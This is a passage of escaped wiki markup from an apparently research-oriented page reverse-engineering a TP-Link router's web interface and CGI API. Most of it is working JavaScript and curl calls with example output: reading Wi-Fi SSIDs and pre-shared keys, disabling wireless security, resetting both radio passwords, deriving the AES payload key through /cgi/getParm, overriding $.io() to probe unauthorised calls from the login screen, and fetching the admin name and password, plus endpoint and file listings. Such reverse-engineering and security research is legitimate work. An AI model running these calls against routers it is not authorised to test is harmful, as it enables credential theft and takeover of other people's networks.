WEPKeyIndex=1&lt;br /&gt;
WEPEncryptionLevel=Disabled,40-bits,104-bits&lt;br /&gt;
basicEncryptionModes=None&lt;br /&gt;
basicAuthenticationMode=None&lt;br /&gt;
WPAEncryptionModes=TKIPandAESEncryption&lt;br /&gt;
WPAAuthenticationMode=PSKAuthentication&lt;br /&gt;
IEEE11iEncryptionModes=AESEncryption&lt;br /&gt;
IEEE11iAuthenticationMode=PSKAuthentication&lt;br /&gt;
X_TP_PreSharedKey=09960466&lt;br /&gt;
X_TP_GroupKeyUpdateInterval=0&lt;br /&gt;
possibleChannels=&lt;br /&gt;
basicDataTransmitRates=&lt;br /&gt;
operationalDataTransmitRates=&lt;br /&gt;
possibleDataTransmitRates=&lt;br /&gt;
SSIDAdvertisementEnabled=1&lt;br /&gt;
transmitPowerSupported=100,50,20&lt;br /&gt;
transmitPower=100&lt;br /&gt;
regulatoryDomain=DE &lt;br /&gt;
deviceOperationMode=InfrastructureAccessPoint&lt;br /&gt;
X_TP_RadiusServerIP=&lt;br /&gt;
X_TP_RadiusServerPort=1812&lt;br /&gt;
X_TP_RadiusServerPassword=&lt;br /&gt;
WMMEnable=1&lt;br /&gt;
X_TP_BeaconInterval=100&lt;br /&gt;
X_TP_RTSThreshold=2346&lt;br /&gt;
X_TP_FragmentThreshold=2346&lt;br /&gt;
X_TP_DTIMFrequency=1&lt;br /&gt;
X_TP_IsolateClients=0&lt;br /&gt;
X_TP_ShortGIEnable=1&lt;br /&gt;
totalAssociations=64&lt;br /&gt;
maxStaNum=32&lt;br /&gt;
X_TP_ShowRegionSelectionOnWeb=0&lt;br /&gt;
[error]0&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Get SSID and PSK&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;// Firmware: 170828&lt;br /&gt;
$.act(ACT_GL,LAN_WLAN,null,null,[&amp;quot;SSID&amp;quot;, &amp;quot;X_TP_PreSharedKey&amp;quot;]); $.exe();&lt;br /&gt;
&lt;br /&gt;
// Example Response&lt;br /&gt;
[1,1,0,0,0,0]0&lt;br /&gt;
SSID=TP-Link_00FC&lt;br /&gt;
X_TP_PreSharedKey=37490720&lt;br /&gt;
[1,2,0,0,0,0]0&lt;br /&gt;
SSID=TP-Link_00FC_5G&lt;br /&gt;
X_TP_PreSharedKey=37490720&lt;br /&gt;
[error]0&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Disable WLAN security&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;// Firmware: 170828&lt;br /&gt;
var wlanList=$.act(ACT_GL,LAN_WLAN,null,null,[&amp;quot;name&amp;quot;, &amp;quot;SSID&amp;quot;, &amp;quot;Enable&amp;quot;, &amp;quot;X_TP_Configuration_Modified&amp;quot;, &amp;quot;beaconType&amp;quot;, &amp;quot;Standard&amp;quot;, &amp;quot;WEPEncryptionLevel&amp;quot;, &amp;quot;WEPKeyIndex&amp;quot;, &amp;quot;BasicEncryptionModes&amp;quot;, &amp;quot;BasicAuthenticationMode&amp;quot;, &amp;quot;WPAEncryptionModes&amp;quot;, &amp;quot;WPAAuthenticationMode&amp;quot;, &amp;quot;IEEE11iEncryptionModes&amp;quot;, &amp;quot;IEEE11iAuthenticationMode&amp;quot;, &amp;quot;X_TP_PreSharedKey&amp;quot;, &amp;quot;X_TP_GroupKeyUpdateInterval&amp;quot;, &amp;quot;X_TP_RadiusServerIP&amp;quot;, &amp;quot;X_TP_RadiusServerPort&amp;quot;, &amp;quot;X_TP_RadiusServerPassword&amp;quot;]);&lt;br /&gt;
$.exe();&lt;br /&gt;
wlanObj=wlanList[0];&lt;br /&gt;
$.act(ACT_SET,LAN_WLAN,wlanObj.__stack,null,[&amp;quot;BeaconType=Basic&amp;quot;, &amp;quot;BasicEncryptionModes=None&amp;quot;, &amp;quot;BasicAuthenticationMode=None&amp;quot;]); $.exe();&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Change both WLAN radio passwords&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;// Firmware: 170828&lt;br /&gt;
let password = &amp;quot;1234567890&amp;quot;;&lt;br /&gt;
var wlanList=$.act(ACT_GL,LAN_WLAN,null,null,[&amp;quot;name&amp;quot;, &amp;quot;SSID&amp;quot;, &amp;quot;Enable&amp;quot;, &amp;quot;X_TP_Configuration_Modified&amp;quot;, &amp;quot;beaconType&amp;quot;, &amp;quot;Standard&amp;quot;, &amp;quot;WEPEncryptionLevel&amp;quot;, &amp;quot;WEPKeyIndex&amp;quot;, &amp;quot;BasicEncryptionModes&amp;quot;, &amp;quot;BasicAuthenticationMode&amp;quot;, &amp;quot;WPAEncryptionModes&amp;quot;, &amp;quot;WPAAuthenticationMode&amp;quot;, &amp;quot;IEEE11iEncryptionModes&amp;quot;, &amp;quot;IEEE11iAuthenticationMode&amp;quot;, &amp;quot;X_TP_PreSharedKey&amp;quot;, &amp;quot;X_TP_GroupKeyUpdateInterval&amp;quot;, &amp;quot;X_TP_RadiusServerIP&amp;quot;, &amp;quot;X_TP_RadiusServerPort&amp;quot;, &amp;quot;X_TP_RadiusServerPassword&amp;quot;]);&lt;br /&gt;
$.exe();&lt;br /&gt;
$.act(ACT_SET,LAN_WLAN,wlanList[0].__stack,null,[&amp;quot;BeaconType=11i&amp;quot;, &amp;quot;IEEE11iAuthenticationMode=PSKAuthentication&amp;quot;, &amp;quot;IEEE11iEncryptionModes=AESEncryption&amp;quot;, &amp;quot;X_TP_PreSharedKey=&amp;quot;+password,&amp;quot;X_TP_GroupKeyUpdateInterval=0&amp;quot;]);&lt;br /&gt;
$.act(ACT_SET,LAN_WLAN,wlanList[1].__stack,null,[&amp;quot;BeaconType=11i&amp;quot;, &amp;quot;IEEE11iAuthenticationMode=PSKAuthentication&amp;quot;, &amp;quot;IEEE11iEncryptionModes=AESEncryption&amp;quot;, &amp;quot;X_TP_PreSharedKey=&amp;quot;+password,&amp;quot;X_TP_GroupKeyUpdateInterval=0&amp;quot;]);&lt;br /&gt;
$.exe();&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: wlanObj = wlanList[{1, 2}] (0 = 2.4G; 1 = 5G)&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h4&amp;gt;Payload Encryption&amp;lt;/h4&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify;&amp;quot;&amp;gt;The newer firmware versions use AES encrypted payload when communicating with the webserver using the &amp;lt;code&amp;gt;/cgi_gdpr&amp;lt;/code&amp;gt; URL instead of &amp;lt;code&amp;gt;/cgi&amp;lt;/code&amp;gt; for most calls. In order to analyse the servers responses, one needs to decrypt the payload. While debugging, this can either be done using the instance of the &amp;lt;code&amp;gt;$.Iencryptor&amp;lt;/code&amp;gt; used for encryption or by overwriting the &amp;lt;code&amp;gt;$.io()&amp;lt;/code&amp;gt;, which logs the response after decryption. Hackers may be able to forge the encryption key with the help of &amp;lt;code&amp;gt;/cgi/getParm&amp;lt;/code&amp;gt;. Additionnally the modified version of the &amp;lt;code&amp;gt;$.io()&amp;lt;/code&amp;gt; function prevents reloading the page while testing unautharized CGI calls from the login screen.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Example AES Decryption using $.Iencryptor&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;$.Iencryptor.AESDecrypt(&amp;quot;QCN4Rv6QexPOxOxIs7adng==&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
// var encryptor = $.encrypt.encryptManager.genEncryptor(); //生成加密器&lt;br /&gt;
// encryptor.genAESKey(); //生成aes密码&lt;br /&gt;
// encryptor.setRSAKey(&amp;quot;nn&amp;quot;, &amp;quot;ee&amp;quot;); //设置rsakey&lt;br /&gt;
// encryptor.setSeq(&amp;quot;123&amp;quot;);   //设置seq&lt;br /&gt;
// encryptor.setHash(&amp;quot;用户名&amp;quot;, &amp;quot;密码&amp;quot;); //设置用户名密码&lt;br /&gt;
//&lt;br /&gt;
//&lt;br /&gt;
// //以上都设置完后，可进行加密&lt;br /&gt;
// encryptor.AESEncrypt(data);&lt;br /&gt;
//&lt;br /&gt;
// //返回对象&lt;br /&gt;
// // {&lt;br /&gt;
// //     data:&amp;quot;加密后数据&amp;quot;,&lt;br /&gt;
// //     sign: &amp;quot;签名&amp;quot;&lt;br /&gt;
// // }&lt;br /&gt;
//&lt;br /&gt;
//&lt;br /&gt;
// // 页面刷新前保存加密器&lt;br /&gt;
// $.encrypt.encryptManager.recordEncryptor();&lt;br /&gt;
//&lt;br /&gt;
// //再次获取加密器&lt;br /&gt;
// var encryptor = $.encrypt.encryptManager.getEncryptor();&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: 感谢您的良好指示 🙏&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Example AES key generation&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;&lt;br /&gt;
$.act(ACT_CGI, &amp;quot;/cgi/getParm&amp;quot;);&lt;br /&gt;
$.exe(null,false,0);&lt;br /&gt;
&lt;br /&gt;
	# Request Parameters&lt;br /&gt;
	# [/cgi/getParm#0,0,0,0,0,0#0,0,0,0,0,0]0,0&lt;br /&gt;
&lt;br /&gt;
	# Or, using cURL&lt;br /&gt;
	# curl -X POST &amp;quot;http://192.168.1.1/cgi?8&amp;quot; -H &amp;quot;Referer: http://192.168.1.1&amp;quot; -d $&#039;[/cgi/getParm#0,0,0,0,0,0#0,0,0,0,0,0]0,0\r\n&#039;&lt;br /&gt;
&lt;br /&gt;
	# Example Response&lt;br /&gt;
	# lib.js:396 XHR finished loading: POST &amp;quot;http://192.168.1.1/cgi?8&amp;quot;&lt;br /&gt;
	# [cgi]0&lt;br /&gt;
	# var ee=&amp;quot;010001&amp;quot;;&lt;br /&gt;
	# var nn=&amp;quot;BF52337CDDC3F46ADE7663765F170AB464AE93BF981B02B95FCE1E94&amp;quot; +&lt;br /&gt;
	#        &amp;quot;62DD9A03ED3E09CCEFDFD7FACE81EE38136FC081735686FE630BBADB&amp;quot; +&lt;br /&gt;
	#        &amp;quot;DAB24BE0443A2B25&amp;quot;;&lt;br /&gt;
	# var seq=&amp;quot;812508797&amp;quot;;&lt;br /&gt;
	# $.ret=0;&lt;br /&gt;
	# [error]0&lt;br /&gt;
&lt;br /&gt;
$.nn = nn;&lt;br /&gt;
$.ee = ee;&lt;br /&gt;
$.seq = seq;&lt;br /&gt;
&lt;br /&gt;
$.Iencryptor.setSeq($.seq);&lt;br /&gt;
$.Iencryptor.setRSAKey($.nn, $.ee);&lt;br /&gt;
$.Iencryptor.setHash(userName, password);&lt;br /&gt;
$.Iencryptor.genAESKey();&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; $.io() {Log decrypted responses while debugging and disable page reloading}&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;$.io = function(path, bScript, hook, data, noquit, unerr) {&lt;br /&gt;
    $.ajax(&lt;br /&gt;
    {&lt;br /&gt;
        type: data ? &amp;quot;POST&amp;quot; : &amp;quot;&amp;quot;,&lt;br /&gt;
        url: path,&lt;br /&gt;
        bScript: bScript,&lt;br /&gt;
        async: true,&lt;br /&gt;
        data: data ? data : null,&lt;br /&gt;
        success: r =&amp;gt; console.log(r),&lt;br /&gt;
        error: e =&amp;gt; console.log(e)&lt;br /&gt;
    });&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
// Try the modifications (Reload to revert)&lt;br /&gt;
$.act(ACT_GET, USER_CFG, null, null, [&amp;quot;adminName&amp;quot;, &amp;quot;adminPwd&amp;quot;]);&lt;br /&gt;
$.exe(null, false, 1);&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: The third parameter with the &amp;lt;code&amp;gt;$.exe(null, false, 1);&amp;lt;/code&amp;gt; function defines the &amp;lt;code&amp;gt;securityLevel&amp;lt;/code&amp;gt;. 1 enables AES encryption and the use of &amp;lt;code&amp;gt;/cgi_gdpr&amp;lt;/code&amp;gt;. 0 means no encryption and the use of &amp;lt;code&amp;gt;/cgi&amp;lt;/code&amp;gt;.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Information Gathering&amp;lt;/h3&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; CGI URLs&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;// Source: /usr/bin/httpd&lt;br /&gt;
// Firmware: 191018&lt;br /&gt;
&lt;br /&gt;
/cgi/conf.bin&lt;br /&gt;
/cgi/confencode&lt;br /&gt;
/cgi/confup&lt;br /&gt;
/cgi/bnr&lt;br /&gt;
/cgi/softup&lt;br /&gt;
/cgi/softburn&lt;br /&gt;
/cgi/log&lt;br /&gt;
/cgi/info&lt;br /&gt;
/cgi/lanMac&lt;br /&gt;
/cgi/auth&lt;br /&gt;
/cgi/pvc&lt;br /&gt;
/cgi/ansi&lt;br /&gt;
/cgi/usb3gup&lt;br /&gt;
/cgi/usb3gupburn&lt;br /&gt;
/cgi/logout&lt;br /&gt;
/cgi/route&lt;br /&gt;
/cgi/updateWlThroughput&lt;br /&gt;
/cgi/updateWlThroughput5G&lt;br /&gt;
/cgi/getParm&lt;br /&gt;
/cgi/login&lt;br /&gt;
&lt;br /&gt;
/cgi_gdpr&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Webserver URLs&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;// Firmware: 191018&lt;br /&gt;
&lt;br /&gt;
/web&lt;br /&gt;
├── MenuRpm.htm&lt;br /&gt;
├── css&lt;br /&gt;
│   ├── ban.css&lt;br /&gt;
│   ├── css_help.css&lt;br /&gt;
│   ├── ie6.css&lt;br /&gt;
│   ├── ie7.css&lt;br /&gt;
│   ├── ie8.css&lt;br /&gt;
│   ├── main.css&lt;br /&gt;
│   ├── menu.css&lt;br /&gt;
│   ├── other.css&lt;br /&gt;
│   ├── qr.css&lt;br /&gt;
│   └── top.css&lt;br /&gt;
├── domain-redirect.htm&lt;br /&gt;
├── frame&lt;br /&gt;
│   ├── accErr.htm&lt;br /&gt;
│   ├── banner.htm&lt;br /&gt;
│   ├── login.htm&lt;br /&gt;
│   ├── menu.htm&lt;br /&gt;
│   └── top.htm&lt;br /&gt;
├── help&lt;br /&gt;
│   ├── AccessCtrlAccessRulesAdvHelpRpm.htm&lt;br /&gt;
│   ├── AccessCtrlAccessRulesHelpRpm.htm&lt;br /&gt;
│   ├── AccessCtrlAccessTargetsAdvHelpRpm.htm&lt;br /&gt;
│   ├── AccessCtrlAccessTargetsHelpRpm.htm&lt;br /&gt;
│   ├── AccessCtrlHostsListsAdvHelpRpm.htm&lt;br /&gt;
│   ├── AccessCtrlHostsListsHelpRpm.htm&lt;br /&gt;
│   ├── AccessCtrlTimeSchedAdvHelpRpm.htm&lt;br /&gt;
│   ├── AccessCtrlTimeSchedHelpRpm.htm&lt;br /&gt;
│   ├── AssignedIpAddrListHelpRpm.htm&lt;br /&gt;
│   ├── BackNRestoreHelpRpm.htm&lt;br /&gt;
│   ├── BasicSecurityHelpRpm.htm&lt;br /&gt;
│   ├── BpaCfgHelpRpm.htm&lt;br /&gt;
│   ├── ChangeLoginPwdHelpRpm.htm&lt;br /&gt;
│   ├── DMZHelpRpm.htm&lt;br /&gt;
│   ├── DateTimeCfgHelpRpm.htm&lt;br /&gt;
│   ├── DdnsAddComexeHelpRpm.htm&lt;br /&gt;
│   ├── DiagHelp.htm&lt;br /&gt;
│   ├── DualBandSelectionHelpRpm.htm&lt;br /&gt;
│   ├── DynDdnsHelpRpm.htm&lt;br /&gt;
│   ├── FeedbackHelp.htm&lt;br /&gt;
│   ├── FixMapCfgHelpRpm.htm&lt;br /&gt;
│   ├── GuestNetUsbCfgHelpRpm.htm&lt;br /&gt;
│   ├── GuestNetWirelessCfgHelpRpm.htm&lt;br /&gt;
│   ├── GuestNetWirelessCfgHelpRpmWithFacebook.htm&lt;br /&gt;
│   ├── IPTVHelp.htm&lt;br /&gt;
│   ├── IPv6LanHelp.htm&lt;br /&gt;
│   ├── IPv6StatusHelpRpm.htm&lt;br /&gt;
│   ├── IPv6TunnelHelp.htm&lt;br /&gt;
│   ├── L2tpCfgHelpRpm.htm&lt;br /&gt;
│   ├── LanArpBindingHelpRpm.htm&lt;br /&gt;
│   ├── LanArpBindingListHelpRpm.htm&lt;br /&gt;
│   ├── LanDhcpServerHelpRpm.htm&lt;br /&gt;
│   ├── LanDhcpServerHelpRpm_AP.htm&lt;br /&gt;
│   ├── LocalManageControlHelpRpm.htm&lt;br /&gt;
│   ├── MacCloneCfgHelpRpm.htm&lt;br /&gt;
│   ├── ManageControlHelpRpm.htm&lt;br /&gt;
│   ├── ManageCtrl_h.htm&lt;br /&gt;
│   ├── MediaServerCfgHelpRpm.htm&lt;br /&gt;
│   ├── MiscHelpRpm.htm&lt;br /&gt;
│   ├── NasCfgHelpRpm.htm&lt;br /&gt;
│   ├── NasFtpCfgHelpRpm.htm&lt;br /&gt;
│   ├── NasUserAdvRpm.htm&lt;br /&gt;
│   ├── NasUserCfgHelpRpm.htm&lt;br /&gt;
│   ├── NatStatusCfgHelpRpm.htm&lt;br /&gt;
│   ├── NetworkCfgHelpRpm.htm&lt;br /&gt;
│   ├── NetworkCfgHelpRpm_AP.htm&lt;br /&gt;
│   ├── NoipDdnsHelpRpm.htm&lt;br /&gt;
│   ├── PPPoECfgHelpRpm.htm&lt;br /&gt;
│   ├── PPPoEv6CfgHelpRpm.htm&lt;br /&gt;
│   ├── ParentCtrlAdvHelpRpm.htm&lt;br /&gt;
│   ├── ParentCtrlHelpRpm.htm&lt;br /&gt;
│   ├── PingHelpRpm.htm&lt;br /&gt;
│   ├── PingWatchDogHelpRpm.htm&lt;br /&gt;
│   ├── PptpCfgHelpRpm.htm&lt;br /&gt;
│   ├── PrintServerCfgHelpRpm.htm&lt;br /&gt;
│   ├── QoSCfgHelpRpm.htm&lt;br /&gt;
│   ├── QoSRuleCfgHelpRpm.htm&lt;br /&gt;
│   ├── QoSRuleListHelpRpm.htm&lt;br /&gt;
│   ├── Qs3gHelpRpm.htm&lt;br /&gt;
│   ├── QsChangeLoginPwdHelpRpm.htm&lt;br /&gt;
│   ├── QsLanApHelpRpm.htm&lt;br /&gt;
│   ├── QsModeHelpRpm.htm&lt;br /&gt;
│   ├── QsMultissidHelpRpm.htm&lt;br /&gt;
│   ├── QsReviewHelpRpm.htm&lt;br /&gt;
│   ├── QsWlClientHelpRpm.htm&lt;br /&gt;
│   ├── QsWlScanClientHelpRpm.htm&lt;br /&gt;
│   ├── RestoreDefaultCfgHelpRpm.htm&lt;br /&gt;
│   ├── SiteSurveyHelpRpm.htm&lt;br /&gt;
│   ├── SnmpHelpRpm.htm&lt;br /&gt;
│   ├── SoftwareUpgradeHelpRpm.htm&lt;br /&gt;
│   ├── SpecialAppHelpRpm.htm&lt;br /&gt;
│   ├── StaticRouteTableHelpRpm.htm&lt;br /&gt;
│   ├── StatusHelpRpm.htm&lt;br /&gt;
│   ├── StatusHelpRpm_AP.htm&lt;br /&gt;
│   ├── StatusHelpRpm_Client.htm&lt;br /&gt;
│   ├── StatusHelpRpm_Modem.htm&lt;br /&gt;
│   ├── StatusHelpRpm_Repeater.htm&lt;br /&gt;
│   ├── SysAutoRebootHelpRpm.htm&lt;br /&gt;
│   ├── SysRebootHelpRpm.htm&lt;br /&gt;
│   ├── SysRouteTableHelpRpm.htm&lt;br /&gt;
│   ├── SystemLogHelpRpm.htm&lt;br /&gt;
│   ├── SystemStatisticHelpRpm.htm&lt;br /&gt;
│   ├── UpnpCfgHelpRpm.htm&lt;br /&gt;
│   ├── Usb3gHelpRpm.htm&lt;br /&gt;
│   ├── Usb3gModemListHelpRpm.htm&lt;br /&gt;
│   ├── UsbAccountHelp.htm&lt;br /&gt;
│   ├── UsbDlnaHelp.htm&lt;br /&gt;
│   ├── UsbFtpHelp.htm&lt;br /&gt;
│   ├── UsbMassHelp.htm&lt;br /&gt;
│   ├── UsbSharingHelp.htm&lt;br /&gt;
│   ├── VirtualServerHelpRpm.htm&lt;br /&gt;
│   ├── Wan6DisabledCfgHelpRpm.htm&lt;br /&gt;
│   ├── Wan6to4TunnelCfgHelpRpm.htm&lt;br /&gt;
│   ├── WanDynamicIpCfgHelpRpm.htm&lt;br /&gt;
│   ├── WanDynamicIpV6CfgHelpRpm.htm&lt;br /&gt;
│   ├── WanStaticIpCfgHelpRpm.htm&lt;br /&gt;
│   ├── WanStaticIpV6CfgHelpRpm.htm&lt;br /&gt;
│   ├── WlanAdvHelpRpm.htm&lt;br /&gt;
│   ├── WlanAdvHelpRpm_AP.htm&lt;br /&gt;
│   ├── WlanConnectHelpRpm.htm&lt;br /&gt;
│   ├── WlanExtender5GHelpRpm.htm&lt;br /&gt;
│   ├── WlanExtenderHelpRpm.htm&lt;br /&gt;
│   ├── WlanMacFilterHelpRpm.htm&lt;br /&gt;
│   ├── WlanNetworkHelpRpm.htm&lt;br /&gt;
│   ├── WlanNetworkHelpRpm_AP.htm&lt;br /&gt;
│   ├── WlanNetworkHelpRpm_MSSID.htm&lt;br /&gt;
│   ├── WlanSchedule.htm&lt;br /&gt;
│   ├── WlanSecurityHelpRpm.htm&lt;br /&gt;
│   ├── WlanStationHelpRpm.htm&lt;br /&gt;
│   ├── WlanThroughputHelpRpm.htm&lt;br /&gt;
│   ├── WlanWpsChkModeHelpRpm.htm&lt;br /&gt;
│   ├── WlanWpsHelpRpm.htm&lt;br /&gt;
│   ├── WlanWpsHelpRpm_AP.htm&lt;br /&gt;
│   ├── WzdAccessCtrlHostAddHelpRpm.htm&lt;br /&gt;
│   ├── WzdAccessCtrlRuleAddHelpRpm.htm&lt;br /&gt;
│   ├── WzdAccessCtrlSchedAddHelpRpm.htm&lt;br /&gt;
│   ├── WzdAccessCtrlTargetAddHelpRpm.htm&lt;br /&gt;
│   ├── WzdConfirmHelpRpm.htm&lt;br /&gt;
│   ├── WzdFinishHelpRpm.htm&lt;br /&gt;
│   ├── WzdL2TPHelpRpm.htm&lt;br /&gt;
│   ├── WzdPPPoEHelpRpm.htm&lt;br /&gt;
│   ├── WzdPPTPHelpRpm.htm&lt;br /&gt;
│   ├── WzdStartHelpRpm.htm&lt;br /&gt;
│   ├── WzdStaticIpHelpRpm.htm&lt;br /&gt;
│   ├── WzdWanMACHelpRpm.htm&lt;br /&gt;
│   ├── WzdWanTypeHelpRpm.htm&lt;br /&gt;
│   ├── WzdWlanHelpRpm.htm&lt;br /&gt;
│   ├── WzdWlanHelpRpm_AP.htm&lt;br /&gt;
│   ├── YandexDnsHelpRpm.htm&lt;br /&gt;
│   └── ledControlHelp.htm&lt;br /&gt;
├── img&lt;br /&gt;
│   ├── Thumbs.db&lt;br /&gt;
│   ├── bgColor.jpg&lt;br /&gt;
│   ├── check.gif&lt;br /&gt;
│   ├── col_hide.gif&lt;br /&gt;
│   ├── col_show.gif&lt;br /&gt;
│   ├── empty.gif&lt;br /&gt;
│   ├── error.gif&lt;br /&gt;
│   ├── helpPic.gif&lt;br /&gt;
│   ├── icon.jpg&lt;br /&gt;
│   ├── loading.gif&lt;br /&gt;
│   ├── login&lt;br /&gt;
│   │   ├── domain-redirect.png&lt;br /&gt;
│   │   ├── favicon.ico&lt;br /&gt;
│   │   ├── info.png&lt;br /&gt;
│   │   ├── input-box.png&lt;br /&gt;
│   │   ├── input-box1.png&lt;br /&gt;
│   │   ├── loginBg.png&lt;br /&gt;
│   │   ├── loginButton.png&lt;br /&gt;
